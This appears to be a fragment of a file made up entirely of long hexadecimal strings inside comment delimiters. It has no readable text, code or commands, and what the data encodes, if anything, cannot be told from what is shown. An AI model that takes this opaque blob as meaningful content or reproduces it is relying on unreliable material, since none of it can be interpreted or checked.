946f2e713d8005244a486f360486b77d412c3b73deda718fcb6ce2f703d0dafb0a1ccd1c31a2ecac31df00f7419f672144b271a697a21069060ebedcca07d36422a95f304a260d1bc2018e6ea3e2d960291d3ef524354240695db3e7438e341c3d3ffb6915cfd219aa94e6c356e36b92410ab11e580931071834233d2d38ffe50d987b496e92d68f2d1e89e777a705215ceb0ab7a8841ab4b55a49b40ad2971497c31fb5e236a4a990049981f3396958284afb2d54afcb817bc47e4cbd09062e5e7d6f773527c8fb4b17d52677ad7849b1e6faf64d8f23f2eafcf619102837e6196245ce893878eb19ea45231eab2976511e51add993d4f91449e8f9d6871909f2f35d3fcb78dc1f426e65b1213e9c2dc377778e46378a8735180bf45cd47fbc1e39dffc757fd37c4a05e0075c97dede9023d3328bc4e5b4f5e7d424d6be56d6b5e9c02055e2b5170e9f3de7a7edb4e800e0e984b4abaaac5ce28f6a10b6f8c8e8afb767ca2e884f0fbc1c1b5ae85eeceec26875b1de014a4769f8457319a1be8ecc3571cf7a738b16649df59f64bb87e9e4640865f67296b070056cf613432fa93041313c9227154a01ff547a9bc27bf9610e7e8b2542c68cb6fabe6fdd3fcf3eefed92c8f8a3037e1ebd48d98874acebcae4a8045f87161f785476e466c0e49ba8139d55963a3cddffbd9cbf81727e02344bf21661b008f*/
/*fd8228e1b3337dc5dd8a914f5255a8abdf40fb16af138df02fadf1d171dbda31c3674d187bfc0d5dba79d2f69d77e1530b670d54dae690c289cbb0aff7f073f2e0a81cd7f6702c12caed18047714f218e59f1a1658ba4de62e657689536cf79f0a08e5a97cbc2991931c4fa5b1146eb72d7e61a11595e44de869eea5b082ba2acb49c7695eb32737acb17c022bab7467f9cd86cc674b8f2627fc22986b2ab89a746516e6f5d06af02a2f033f49775705fb424cc4fbe295b615eee772219a0ed94d3ab62986f05c136947b6eb081b3602f1622d64c181d1f27ec379044926e7a6793e07432485a9e0bdf27ee891057db32e59e8f36750c2a93d258ee6bc70fec3ffdf00880d569abb500ae50aab0fe36c1e1e9b3a5ffbf377559d3cf5fb0244dd67b4bfb36a2afbde51cb03be89d0485e712009ea567170060278330a892f0eddf9b557ce512c85fa0921d498c0d57bac7c47bba59f3bc53b8f793717c3613c44a5aa435025bb674593ff45e25266354ceea5eba8dd09697cac0771020ece5f81e523b09947a420860d1f52a9ebf36d80faa384cd539fad85d2b967d9afb3bb572a3b0e4efa057fafdf09b392b7e41c6571b9a6d0f0bad43d21297d4c3154c9d63e6786fbbdb13d8e601d5ae9a4b694b46e30637329899d179b69a869f167cafeb41b6162a4ea5d6c778627cce1ac051353fc1af63f6879b359514ff231459180015988f997c5e2d1032900c4acd51a3981de65e0d90930e73acd39cb076906c40a5d5c2e077edc73e79e5f0dad09a9f3463186aab78143db6388e7a9f20d87c1b97d72222b35f6e965d262c9c1fc4f91f3b2f1c01befdcc9a0429cfd3555d71f747ddfc7c807594781d0cab0e0cdb6ad4e8193cbe207459ebfd0656254c48199f7f774020789acf280f2748c5edd1d3e141e3cacc4b659fb8dc33341966ba7b4260caa787e9c73ac6bdedca239717cb88a662ee8e0ca2c7107898cf9f68ac5445e4251a1982c1fc4d1bff6fd84bc52718480993afd67d0e4f7ab8175b761bf04352f9c5f2f62445a9b02de1f6d864394b966a9be381c861897632cf205f31bc92676fffdffb362b0496ad547e668d27e6d3977c36487db4d1f6072213d2af70cc1db814b3647c9df6cddb2a0a832c7c7517b4cd05340a687ed52bf67788364168518f0d374fbe84911701dc4ec1f1f982d0e172c37a41ca9cbf67cccab2aa6ec987b8a484f1c1d9aa481b0c17f074ac1ffda04ca683aa6f1ba0a45e7ba430c5710542947d78f19d955ed305fd39221561644ca2179d83305ad2955af347b0e1f41f83295f87f6683096ca526dac15ec1fb671caddff07dbe867a7ac7bc85aadaaa05e0de2f3ae79c9a35f90cab1c7e9217fd3e5b781f1d96191e89515e796348b478511feea109f7876dc3d65d153bdccdd400440ff8009d90abf0a1ab95d67362288ec08497ea7c5de1d699aeeb577b2f23209a733334004e48dec23432aafd71e984b249ae02b2942b6384fc3e635b7bc7d96f5b92b7f4b8719df902516aa7865706b4983014a510dea4873503176be1a9e1d3f97b710831626ff7e65d79c8fab27edae1c1caa37a1bad4de04dc203d0e617d69ac71e2d7d13990543123a4af37bc95e73cc690d3be465fd16c3eaa895a3a0363463937a7687efa162881c428889970fd74b6c9b070cee9f6ee309787c0c300da1f8061e1feff74f5446dc3a17c5f0182f33b51d0124260786fef5a92746b10b45ab5dc384f432f285e0c33cc49f73a8c06343019b3b0e502ea13680553a0aba6930bd300214e46d162075de55c9cf2c5e4bef9943dbd9fc0e6bafe10b8240f7437b4d95d51b7742a0cfccf3432e24607b9b157d18d226124db21b75b41265b2dce2958738c7114f65faf9401b4e28f8c0e7eb092ac97b6f98c8513935c63c5256ea983aae70e8d9b96f5d64c7eece852d3ec5e98aee4efb246c550e737dd1bce32a7b5f98f7e067d7135b798af77c485440a643513f9a8ca6cb1d9ca76564a40ad374f8a506c4e12f4fbe5685798bed0e49fd754d7370f3ecf65d5a775f7753b9b3d60118f66bf12f55be16c38252c2ddee74279470c8871c3028466d800b0048602203a4ab8200e01330dedc5f8405aa6b6940f511e0abb40ef5acf30af98ac4006907870c809290f5ae79b6d5325c69bb1916cc83388adf0a16115d24c5cda68db72a9c2b75570a24dbb0224b401d1994b1e227b56b958ddb0238b57d31940a3d1238c0440582f2887309f5fcc411e8dc59cfaf50e8496e5539fdd3a5d6e6168f287eb7fdd763d9812ecc62649f4575db7fc869577aa968d68ec05241f1174347fe6566f1a3c3625b9303732c2edb597eba55a45643d3767e60699df4046171fef5da1e511bd4b6250144a86d2b13015c865421a6eb56926fca4f4c03fb2a32d7bafc061618fd1cc76c1ab281aeba06b96c34abefb3a6d7d79319e7efa3b12036bd69d3a0b4363f68cd4e4820074e1e8d2791bc3cdd9807c47835cd66e95a4cb0f0cef23b09058c1054bc081da8b0164cc3ee8df72c3aacc36ecc27b9322365ecf4de7b56d7f82fc923cc8299b5a84cbe066b0649baa932ade9287e9f2ea27ac828c94f16d32c558bccc6126cae21cbc643171e7be553229932751dd023b961a09f949baaf962403a6735f3fffd93f11da961fb1e6d33fff7e1d655cc0013d70dfaf73ddce84effd61aaa8efc28f8bb8e8df78a1743eac01c14940c4375716a6c504d4db2e69b6c3cdf8b5a9609b482014c9532ab7ac4a6411b9bb7ae0374c3c846001f8fc4543778b420af79530faa17c46670feed78245c0dd2*/
/*0c8364256ecf45e2910c654cd02f655af33cc133cbc6890be235a8987885e64357ce3f009e30166d3772101e66d248759342ae8ac8378891e37a0363959c9ad45ed5ba8825176488f8299ee19f85c95e42b34914d0ad5edf6b4e111dd28135891923695fd6d19cd54ca5d0b5c11aca568267d0e1fafd232c71a84a1e8035e21805c4e1c2b1a57ddf2e03aff72c0166830be4160b5ef012f6834cd0b0e9c7bd088355209346e5874f517251a2b2512424c5d96281474c782a1bde8462ec228ad1962b4e6c8bf49a2361400e272debcf2c4b1c998cce6b752f982177eef580ef0983d20a0b576c7e68663109a0b3690eb208bd9a9f8538da13a4081b89d3bb1c5e3c9f6ffdd91eaf1b688e1c48e5a9971b155bd8a639a93485f5edeedb3bbc8e1794fa8f71f201308e2211b926d6cc38c9da8dce8980cbc2ce31580788d3ad0de29deeb6709ebb41d8029535b2926330157cd322431e6d8d43c10c6cd4db24b6740d48da5708fddf575552ce7477b95dc7f727223a87f72c2b1d8ca822efe32c63cab1a4a7ead579e7b813d8562ff319f2c81b3e22714d5c64a0fee323801dd7484b9b2184f8fa0d7ae801007f763066aa735ef07b4e5515b8ea216339720301db207dd9f0ad0778c54837fa061cff2c670ac7c4d3abebeffdd37830eb6049bbbdb9b69c36b1ba06ec4cecd06c334c953738c2ecdf02336b838573ca67b891d6a9c2dd1969c900dd6d671ca7be48d378a05831390965638b24bc991308f0983188c82f87e468166de3bb062ed1cc8ca1fe89032f8c605da85c2b019ace508b1786d099e13332fd47276a622490b6e0f152e542feff881ce4a86ba234dccbf53904814459e9104ac2e2af26f6cf89dc5b4485cbbe83b85f0faeb33a4ca295f4210c64b6b8d5798e22abe83c08d030c24349214578639f77248aa1562e5916be18ab8d08ad21bbb44ebec60728f6ae98127f6647a31726e38ce008652fbec1fa9278fb6bd9f0a488865914f0fefd37b16825f6db849aa240d0646ce85e96c17b1dc5412ab227f555fa20c2a6a4d3388d772fa59e8d444abd8fdc89f10cc0db8f29d48454b21109e3f0bd702a4eb69def40444c45a0328d9ba84578712dbb1e67dedf2841a9f76f02d41fd7a5036d7c720afa4a783be7d4667b3eeb9d766d76000ca1f802b012bb98f4b7555347e3f12af1290d0a75cbe45d63230f4acc1c4007f095047ccdff8c75005900242dc473b355016316e4c18cbecc7377ccd39eab8c9466f1bbd2b76e74b804fd0fed482ed1a732977ee867e3a352c650e47895b3302b97e75c9b4f98eef6f3349c44a4203fa6005e73d70926fbc39d099c2311af7ecc387e2d5978832c1c08217937e8a2d8642f7cdbb2de68620e0748a7430990b6a0c3dbcdaacb59dc0b13f7237141e5f011cd10bec7e05c5f34c760000334ac43e8a53fc3ad63dd38c691dab0101222a980624315e733095f1012de1f165e9ce5df64458c9ea3b128a7ed8f8ef27a5a587c9ef292c93fa3fc1400012bb479ed435a3c1e539c5cea3cea3b69119d297d79ae1efac5c9b73de9b7dd30cc5137bab8e0c7484538256811cf75d1b824d1ee5d0d75fc2a6f5ad529a88cee9e8cdc3de5f510285a016ab74472e9f2ed4aa601b0cf5d404ce694dfac6b82eb4d53ac8729fb82fa0275320b1dace0a521f9c85c8ed310f2ffb331b1f32197788b235baf8230c2bf91bf54f5405493dfcddd9f0935d45149e0cdd71292350c57b4e3ea390fc4708cf9086a83902d087c5bfb3f1dff82150ea7c26f564a00d8945dbad2d74b355be2201f71b4fb6caf95f224064d9e143dbee0a97ac8c399cf32d13099286cecfc90b946796745b2530aff42dacdc58f4b781f0f3a7172a8916051281a151b089a2d88d7c760b49fcd35b2f959e0bfd707ad23d6a65e531c49b36932c1a69a48cd62113e5f19b141fbddfa2933b333466797a1d31b2e16c14ac4c4af5cadea510aa5aa50041446c37da20699c40edf0243d1fdfa9a6c5d26ad76f5c445829f30c02f3ef4470b66a6ebf83e0e50e246ddea66213616dce57c87a24978ae55a27fcd933ff9ef4acdd222813b24e5223931bd220ffd91f4a7405fc053d6b540375f91024e04822c1b3cccb24eb0933f9575916338d3a2a785c09a2005c729341c8e7104058f62c2b99a64b5f702947b087404711b141598e3fef323a7992b278d793a177e6e46072f2580db0df8250e27c5fe5c21ad67ed432de5ab1018218f8ffd9c4ac7126ad724af8f6589b9c2e81765b7b3df50ae8e5da104d433f336316de5807fb9cc1c6e26d6d6d4c38ccc6eed7e3c485dde5c6f4db4e78473fba5fc481aa53085416121b638e7614afd69b3e9d4879654ce9317bb3f38fe544608245f196e4fa6fe6e2a94dc858defe310e8138e92faf523e7062288f4e278cf15ea3ca1156c5870927110d089ce514f97bf2017d896e2e4ec0ba4457e5240594b87f0621993a733c98351391ceb9a2ff26a733bf51f9fc680a98b29c9af0d973f91460b77c2a011cfb0995dee91dfd9dc164b38fe158de58b8274446e139c1773bef63966755f16f311e25555ad7f1f214001fdf7e32d4334ad8c6b4c70808ed1b666766f85d790a1a58690ab71c250e3f8905dc965516531aa99b22142a1977c901f63535eb6052c4f72ee1fca035e59c1f4ac27a70257ec7ae5c5874b96e46e002d56e957420181cb4d6f560df08140196755d070e5970767dc66e87826e9e304699a98fdef4594191c2a28acdd6cb6935eeb9dbbfdea31fa0dd8bee06fea03b94a604f89dd13460af5dfaadfee82df8313f275*/
/*0205e5e5a220da59de897dc1d87eb7a0843269ac321d42b0a0a1a081ee6b153f7b94d263e830211991dd10cbb342626a6dabdb45ca26c839519a59484032c31595b51cc563fb02fb4aa17371327de24b83d8fae4144c7ac593f94cbd588759b976869f7c7b51cac7ce00bf028c5fbb9492eba1542c84dad499eae0f3809ced58964fc0e8b2d9ee173d0049e681acb0fcd24d9fa21bc419c55117941614edcd6c51819b450b23bc8c414f6b62ddd689fdeeb5d4f3cd2835bb9f355f8720594bbe093a1685d689de5a80e3f9c65f5f5fdac89732f5f6d46722aeea582f55fee50f1083af5bba10123e958821abb140b3443c40308642b767e97a4d0c9753138c5d350ae3d611f9f63feac7ea6c27489d9fa6f4190a18775fbd71e6d68af0a4c5b667db2e431e19887e5385a1fd379dd5f7d53650c3c90901b55285663f85be6931b6f63cfe7909b4b446b14b52efef5fc7c6342153bad6ad18421657d80f4407ab21b1531c9881142e31c72d78427c6db118aaa56c3d4408bb84411439e5e0c7e964e762d9a4414d5ba2fd4177cb6426695a818545cc9f19eca0363952225095627af2c9dffdb63c510ab6b36cd9fb3e628096338d2b8a441b53491a0a5d742f5371fd3561b36d3a32526b4006127a90b00d71af410f565c5416d75b4ad90eb4cc19e221dd6332d8eae2e28ad6193ae77f44d8fd004fef63828e136cbdcb5de4b60564ba2d310025882088ef3370c8aa4e7a5c7aba477d0d6b620536e138d5a1f451b5c8513927776d044401ebe0d8e7e216344ce7bf3e25f50b0e41def0d34d556fe28076c7f00046dcfc73b5d5fcd6754465e247e931662f551eab889270502889c5657fcd8a2c07ec83751a13c2bc922ed998cc896417beb0fcc6db347517715c059c50c5ef7b0ba149cb2da6cd09b120f3e6a33444d76233f57dc6247025699956f4434a0dc18d1cfc4293e1ea4f0b0698aec96007e01310528a8a8a1168fd4acbe9ae7f7f99068e8e5b90c2bf698e7806b82121235341e3492935d3ea3d97cb03fba0bad7a05fba32d079b4d19288c9d0f7a3a4ac5afcbf6d72467e1b243a4edcec44c64b1e3276dd2c4ecaa85a248ae17d9e3eeaf0c3f4cc4494e98ca36dc8203b1c1e3c9bb8139eed5f91b2776858c6b486f5aa2f4dc6901886e2dd32e14804e91de43f766c4983bc325aab13513e25d8ea8a837a4b6be228539fedf4b9d2703cbdcd434eaac1dc9280a3b7d1a5cfe59e4c11f6c1c805dfb71c0f9c34d4cb1da08faf975b6b12371f3248bad9dccd60b9693c29f8c7fd582497551154af62c17527a5543e3819f0a72392e375a899726ff0be124838a6a9d729010b9403bd3d3f4deea1e119335b38082d420fbf9e436b9d773a691879a9d319d519de8c6cf4301a8dde682d4b694524c81d7f8caf8aaa557ef19b8a72abb5ea1c1a2a3f98f6c521d2edbf55d37e8440cd7dcb13c05f8a9253b74a91ba1f2d2596a2ec69db6ba4ff40cc640b716777652346c83a72960262c57400fac4bc9444ffe3ff3f3be274f17119be6db9bedd4b92efb4375d9447c0de772a6572be850c239adf0a5427ec9fb3d26059936dfea6e0e601ad0fb53fd363e627cae4ac8d9527e6f6055d0e15d81a8985bcf1d7398ccd2b2d2c5daa0c0f5723614e8acb88fbdbb34d4e65565c70cafa827ecaf399b5b1663e0ddd48ca72a10e4300d59f8c40bedd732f4e11e94c4bec1b234fa5778e3c4c6043bc379125e023d7b02eef78506754d57cfee148047d7c69c78e6b396cf1a8babe6151e0a3baf6a3a1a7dae89a370e0b26c198123207e3e7757b8120265efa9f12edbd1c8189a7df3dc755a4d8babc0d9e7d908d7de2dfbc710a5eeb53a2c30b426d306d01573791bc32924ed74b0e3253988af84a02681ebf6c24bb5d4662344692e073deb661cd57ff2c3be818de2178842435ff23ec879040b39d317fb20c674894f248e9c2118b1986d87bc7bb6ba60bc2406b4193bdf2df44c863f52a7e2a21d6eaea6d792a284c9ddb0c4e47ba83d110dc9ed12a8a7c8dddab231ac3bb57d62c973ea53c16a3c3f74eefe5467b30bacd5864617d544191852d9ab33cd3128691111a20e3f4c7882d58a82022f57e58c73a436972d620a9676160b03f88adc860ca5b89bc7cc756741029662677840756ff169681c411f68ad9f77d8574e6cc4bfaa1bb5d69ce441cb4edd5f6477da65c3ef5711f465882a83f24389806ac00757aea2b2ef8d6c803cd64875b22ac683a84c850eed0974de15b64303c2f78bde511fcde077968d28125f831159c7169b793247d2f03a97f5b74eb2fc9bba9326d14ab71813ec202ff7822154ec9d962bf689833bcee5c29b969c484a70eb3b0e2ad8b05dacf1ef9067d1f8294d635629d4b72f5ae8ffa6438d2884d08482a296b5f50b407277614dbbb375a93fc44cc89c07b3206909fca323eaeafd0e5b841692abcf149db533ac942c62503257f6d8c357faf3788cadeb0d2c9923cf7126f709ef6ef69f83c1708c26b6b5d0e5839063b2896b2a342d3f73035ad8025369f36b36795dc5dcd91306e2276e83fbc6d3452cfef0c2f7d83b6b076dced0aff009cd27e1612f6ed3f1fcdfa6e1c9d9373f699c40224b5264a9af90a4ed8ee367a57c054dfec5ae99a1d2aea286bfe51b11d38e9194c3bbae04c6ceed06371d48da7c42b79dd3526016a27f7b9520d2c2fe7d617c3f313da5877344da3e76097fef51293b6fc2217a0152232f08171f63ec9de2453a0ae9102eec7989ae70a0417a368fa15157f4db260ccedd73c2135ac14213cb20fbf104a22cffb8774fe66*/
/*f784f7d40855566ba58f41ba8c85660048b4905e833ba64137b11c6c102d239a673e3bbb81acc58af974481d28ee14e1b70ac57e4ddcca6ed1613fd1dfb48fa67cf1ae704bf41892055e4595a1619eb287e8daf62dbc0088aeef00ad4ba190c32bbc85631887940824115494ddb288d0fde6e71b5062d5c138513e46fd5cf0bcca76a29255afc9a907938a55d92696be1fb351abb03986f0922b6216a6167069b845ea104c6620e5e29e91617b45432bd5672f4f88970513c226ea39af50287038dccc3c85b4daa64ac779b9bba845088928ddb57d57a076f4fc78da94bbc73f0c6315c9c3a5aeecedea20fc621e28351de32e97f1943d8780471ff7b843be03325894a79fe6dd0c31018723fa11d4b81443085179f04aef2078bb7290459201efff4e90f941a5c55ca45fcdd79ce1e218e98954a1540e412681e2cc9c165e0bc7bdf58633cfed578ce32d203ca8e39fad511a0815da451a89abaf069a4f3e39128702a19a589acdcad002bab967ca2cc45ba59b92966e7daa3c6f23aeebdab0210825177a8a1c40f1979af04990afe8962c094b9501fd16878996dc9a4b69945df7bfbcba4652d1f04eae0e49bccaedd5eedb481aca1aea535dbcdde7f4ce11d5ec35785e1234ca622e552a4409e8e0889ef624414331237848c1fdb702b8ca76fbba6ffd4d2ce5e9550d266529ed23ecdcd1b4b1c61b1e721b9e19e5ec1ac771ad612c480e9361edafda34014ed859d14b76265c05e32b60662a0b1eaa08dc12927c75588e2b327598a82a89ac7d3103f008c6498cc3027ba104c78e8529999dcb2b01f73285c55c7a2812764650526113c8d9b3941d0aeb23a0707a4c5ec66c6bd5363ff15a7def55611ef7689c6259d2534592a301216229ebedd4c1d7a13b95b7eb09ee5f3185d249feb725eae6fd4c33bd49ba5ae8050557913c92545495dd49c3f64013a44da5c91afb8a020bd87a0418ada3871b24ed393785ac7976ffe9debf8855f58fa08aabf3c2b64a484a2c2503428cdef7d0a265aa13db0cdad4141598d93d751900305c7b275d3c3080a8292d5116df686e9af19e16245aa8e466a633e5939c03e1e53c60aed5c8e627935915c281a7c3a902fc1ab60c6bd4eb7edfab0cc32eb84ad9a5cc224de5783b4389a2cf884d292f563fab5bc33195855253f545e6d090505ce017e11ccc6bc0b1b345adf35b00c04ea2ab054183f6d875eb376458bc39367740234578ad5a7b9e0699095199daf0a6b5c99726020e66c32be77ae4b05184afe882298c4729312f232bf7b2169001f6c984b3df8c8aa6876f9083c7be4445e22302b0c9e0be3bbec5f001811116c6d49c7fdb2cc408924fe38b04f18137fd12e3fbbc1603bac9b6bc2ba88e925d1a69f8bef8b8c783b819afbae67c8af38268557dd98e6f498c9fcdd6c355d4263cf9f8ec6c2f44f0eee4bd5cfa9bbfaed4119a5ce471b0c5d55af7b5dd0b86dd671f72ea65cf44eac7315eb43bd76000d7a79463e624e6d2c2efe3ba2c21939e883eaa83d203da28714e1f13de6d83240c1a3ef37546db34bd75e7d41e92df7573e46c9ba0964dcdeb58327de99e02e82b870fa27ffcc9aecccfd0027c952900755ad542d45ddea6faf8c33d44136d42a8e0b5cc27c859807f8803aa1f2440bb9af2ea366549348c9cd3f7a20759db1b36795d39210e6dfebe25b53b77687428d61caa174ac6a85431ed516f2b92737330c9191231d98fdc388c701092b2aafaa7aec3bd1037f57e5dd671fae9692546ade2f2d04cb09320c2599a21b4c25da258e7981ae7873cb6da047f1e7db01246e1cd07ff24e48e79e5be6b66abd3b5ae04a0d0710a4f72d21446770d1023a725b44e6a309703e091dbf379e4f4abc6b0629e53c1c7c6e6d847f162af99bfc47430d92406086b8d184278412261b15cd44a4c544b7dea911173d4ccb4517bcd754d7eb4fdabcd9882d0051b9083c0f9767d0db456c72114e4f8cb857d23b4853e71b10453d7ae7fae2d9c42246ae92e324a80b4abb0bfc8e4a8e94e3333a4f0baf279ff0880b7c1a3cfa78fb6ee3c11147752a5adf1c086847348bcb0cd18ecd36cdfca0d78c4d1fc13102d785a841930c693494ba40014147e0cb62590817d5180160e4e6f936c99fe4a4f0f323e06eb012d59e8e45c19370de84f8c4312327486561b9b984a6045b3d7185e5065b3cd2fdc174c4c305a3de6c95e0aa6d40891e2842dcb56ebc67f2a28e31656dbef560bcd45f7ed92662d42d4b2d7c3a7cd42ce9ec542dc1fd9f805de7cb4969607636680f310785b35b700766a1b4b6b50f712184ae151e640a541f8d2be3ffa96fdba4cda3f7de1ab160c5153eb3ed9ac32af7393ef006eedf6101d603e2d016a0e5b2f1b130eda2a4341a7d173ef398053f5727fc4618a80ae98d9832d1a8a229e98991a65580e9a3ddc01085a4d638dbe9d09f5e040cfcbecbba13a895f123ee14766ef1cf6eee4dde7c523e7a2bc671fbab41e8918f0273c3419ac4e7e82d462ec531156119695ac9adff4dcfa5466947a7e3b8020d55c24c04f305cdb596db78ab1bd8b5c88d546da407f1d6b418b5134e06f807a9ac92d164f475643d764fb62fddd70547ce27d00e915e81fdce898d501940851c298db832a1bf2d80df394ff3fcf3fa213e5cd837155d5cf62ce37ad38626a3e2e5dd4ae551ac8ed9807246ef451e9e8ee6b34f6c641c859c19783e72eebf6a0919c924a9778846e7c82b3e3ebd6ae4ed4065cab652b24fd361dfc6acfec78d1a8245f9ca1d6992952324e85138aa5c2483fa2ee6e84dd9cf3ec3ec70cc60e9fe1efbc*/
/*8f5238366c68cb4579c2f27385e59ba5d8623ec5bd9a94e719fd494113fcdc7181f4366bd3e9bbec83a1c8ee408107e55115b370f4e12b80bd937b4adaf7d7566dc74d748754d53880b7bb0894f8c68333c3248997235ef468183caa4d8783a637a11263ad0853760a5f3abfabfea8637db5e7f61737e9115d083dea03d4b51ea202dbbd82484e86c1312d3c82df208bb2c8ca9eb8601b8ed209d87ef405d94307983e1e11095b5f51f0691651d1135a7824b2d22247846b364916351c32c5114dcc1fcb38c7defeb7990cb050c28d35c83e3baec4a5bfd42eb955eed92bb3255f0ee2640b5336d05f1142cffc437b7d4555988f21d72e05409aa25b40730c3029a7e4145baf005dd991402aa3f0d320a3af49b3ebf8f04fa03978fe5273dfc0126f65841531d39378e7683dfebad334312e0e7d6bfae5d8340eb1bad626e8d747c93cc68b4bb9aacd70c4a7392612ffa15e1c53053616af9e9bc248eba4f945d626f3efff1ad8510c48396761ef505ae1f1ee74d4c45868af6fc83f3589c802a0f7397018ff03d4b3bf45d6ee3da2212d80e22aefb6e0956d4b9329859e67cebe3c3e0a878d758c7c7c3afe05b6ddde5a685a8d4feec1100a8be44e3762a650d5cc308aca366fb11eaaead93a8cfc20e50de3b2a96c106791b407cc686e00ec50df4a4a48dd2f12c15ef71a5bce3c7b7a3adc47947b406d820cd4f33d543f17f2ff9b45893f1e52ef3ade5b9d778c6bd08d7061c8ee57b8e7051c2fae698b0ea5e88b0f26d05599362e365f6674292bfa3c7177fd61fdabf995ad3d5745d222c253bd08f2edab625b6901ad135f8519c018719e526801ba9fca482c7dd18ac3f3719edbe9a92437f62fef731b5bb19ac92392fc6e04c0f391516515df4a450245a6750ab1fed11b24b4ae547d78e5d66308e85d64841f497abc79277fb77d67fe1c9d7889d1461ba7a77262c74355eb8584a4320fb2b5cc3a448deca2aa6da2d4ba06638ae63fe238470911dff28717086c4da5eadb818547f22f5e482e2d33c8f2cdc9e056cd7d7d142d45249b4612c65774b2eda31cde9584fd617cc172e14eb748c8f7610c4850467e58417cb29d5b1a79e8b8bf5b2fb1dbc63757e405cc8ad2ec85a4f506510784acd372a9bc8b6b8dba4c6ad48b1c47136403027e9575b4ae2a3b326b9f3b4a7a89d32c4a3f6d0d2cf906118cfbe6d920606e56bb041bd45dbab537e6f3ac00f63c17314b907f91f83dda58ccdce9201597d051c5c1cae06302e9613075218a7fc274772f2b1533a9a95d55b76cdaf9a16c3ccd3b26715259a4c9d654bb892f190c8bcbc44faf2a984dd84b31c18733be1a9ac31aeea84305f9d13634fbc43dee38949fb903b8123df050cb33a29eef9888a387d6d55c0f2f652f1fb11abc8a15450ab0cbe080764257ebf55fc1a42c8f0d710edafe489fe8ccaec2f36c610c81ba5c0efc9764e8ed4501852c3f0450117caef70b3021810b1255103ce81d5e03c93f5a1ad0bc65e725f577faf95117cec5854a9dd4d019eaa81b72464cc6623fefb914ddb8807ed14f8125e9336a03cd48c35f7630c39ebcdca7fcf4cdf1f8d13e8402ff42123435d83d59303ead67b4ea2a9dcd583d52753e94653fceddf298068ddd16336d9e84485d1317f1e660725eefaed40080f228daa4d0304a9fa8dfdb020dec2223c8641f11d17c61ef925730cb5ef2d0f3baae2c3f94bfd7f769617b830864ac92f616f2f68857721dab9486c41b1ed85b55395429f4868be173530725cf4be93006da1e857566d360014f2d25adc125baa2665495d81e83c7073b246b6607144bc260e2b65c5efe9e5c6d72c92cc5d279fe1872f13df578bebfe2d1cddc037701e4f59b118ddedf72da352ab217c1a9603324cd92cc75dd0651d1c7008ca3951a0c8036888c90d00884394336a1561789d475290ad642b5781afb1268b7b24d13d2314a7b8c094870fce73d629a724953b3acf026222769bed8984f0d2aeb8938c1efe6836c69fc13ddfa6a9bca7fc296963c3adaf3fac20817841b56071e5f828e1c28ce21a561850b27827cf7a6267db461ff7ed044083e1acfbeb5b7c5221a725383fe16ed3bc84c775c213db26342b458fa4cbbe5eb69f5b32153ea476510d7aba2f3bbb84781f75e62f88c0f7c4aae98cec0bbcd38b5dc60d2e5ecf818feb53e37fd3e95ea19746bf826187661df7b8eda4ad7980e12281cbedeb40584c36cc04b996c38511c8dd9a1cb7028c4d300d5430294e49e5b459c003e90d079c2936582e7eba35bfe9c931713adec77f75d59a272bdc4667d9d302d6e99387baf14436e5ddf423bbd0656691bec7d38d05a4769e92bc274d31d0e03e91e5782073c63d803cb10946ade375d11278fd20d4cc63a862949553ab409ea6611a8f1344655114b1694f936e1000eb950467f382324032c32e69e9d09ae48567e04bb646549358d37c09097eedcafc1f8c94310678f8892d024ffb6c10370f84fd37106ab022b2e66224d909308e143de92eba1df14c1c28c596c9139f0eb11823c8fbffc3bdf7857f0a34756bef21ec428eb0c581f441cc211040c64d7f7ff7dc6a3f08b080eb98227f59078e61aa2522d874238389d50c6e5a8ec130418cf5329edad59ad186492f6960388d548e54234c72a1b0ac1eb0f8881bb3136aa21e1504de5345afb6a0604804a63048815015d4adab42b23cf82269b210eb45f09b5304d39f5a9c2ef3ad2197c2d8c369f6dfd6a31ad0b2a37c5b78429f1dd545adb412b743a4fe914a8985bb60d516b4515ecfe4825feb99d747581c0ffc168bc89c89fa4*/
/*4d611be96a9ec493c9253ae7436523a21d67e95711e4166d2e5a40c21068ab369a62d246776f676c5faa556caae2af16e9e343bed526f809a1775324ca4be8cd5fac1f4d935e4359fa48e3cdf10c24cc830ab610f1dacbf6e09fb7fa21b08f6f6e81e8e784a690cfedf26d2cad87c07487adb7f17079de5739aaed64c980525c91742396fafc73353a5f6b770f15d53d46d6d8fc02e66c04f9cade6b75b10a206ad5422338b8884ae6475d3089cf2687740268f1c1ddb1b2f63db8a9cb41017e9204a7d0278b86ca8b28c96686e91057f1df7fcaa4f68f902688f8f25d3ad7f123ae498a55e83c60edcec3f1165fc2743ec41174da4a31695e0028f5a71b34103331a1f68c7fc5f345ca2e495cb81092b9077d70467f0b8e7d3031cac95360f4c55e1fd0194bc82deaee521bd90a6f22d054a06eaba2ebf488b7c323c968b55c2312db8dbf9a5d5945da6f5b8327ff2c51fdd0aeaf30c985f33ab72f21835b61e83fa25d6b30ac14fe6a27d5d4cb458dfef39405aaa8857650883fc0d4a15c6f3414c7afffcdcd73ea642e0e2b13c135dc654152529038158a8438f72767a0945e52a7bc395fcd9d5cec16b39c0de32a46b4afa4234ceed21a526ee6a7463da441b1f56f073609fe391e64b1db7746b93dac3a452de4b48976584b49a279d7b7d40b943e3e7099b5bda08074629d364f2f39b6b08989776b62aafa52de2a0f371bc9123c872552fd81d674d73e535ccd6827efc3953b555a2ac4fb9e8098a56cde309412fb5d246009e6cd14899fa056aca18266bc6a202ac3f5502466da5c89ee635591a438a61728c067a4c4b97e9643f4d13bb186733e1c7a247e59020b3293ec7c810f661945cf7f46afbf9c300aed73836679c41fc06155f0eebd6263a244c3e9fd1a223123bfde09d132fea743ace9adacb3171de7ae766ec0acea458a14633ff1ec00544712181bfeaf853681815daaafe528526825d141b09c6f7093ae58e85782b15e952a9116afc0f0ed09b9f6ecb93996b5e293d8873a2de1d38c940b0dcadcccef4754e1d1695aea96a7bf3fb33c53972fb9a768f0a59605dd968a837e3d209c390067ae21847372594be35d733cb57cf7bc57745ec2eee22291019dfdc5958eca24575cd9cd59dc575493ac9a07b128bc5904f79743a680c65a97789793be43d512a8eb3ad49c24cd3b19fa313b6dbfd4967b3f84a9328d77f5dfc75fd448fb5bd64783193b99b2b150a438feab9f5e349dc4245fc7b3a72befff70c5105db963f11ebbb45fd484220499fd3755e8027e5a6399ae00c7921255078694afa4f969a601f1b0b386f058db7b43836ea4118df23a7756cf32118e313deb97808b1928707aa265dd52fbc3a2ddb7544788492ba12810c0f52e0014770e2fa060d04a15b5fdb121b37ab45cfe98253d6edc82c0d26a904ff8e78fec79237374fa9e5509675e43fd4011b3d1409e4f2d2eb778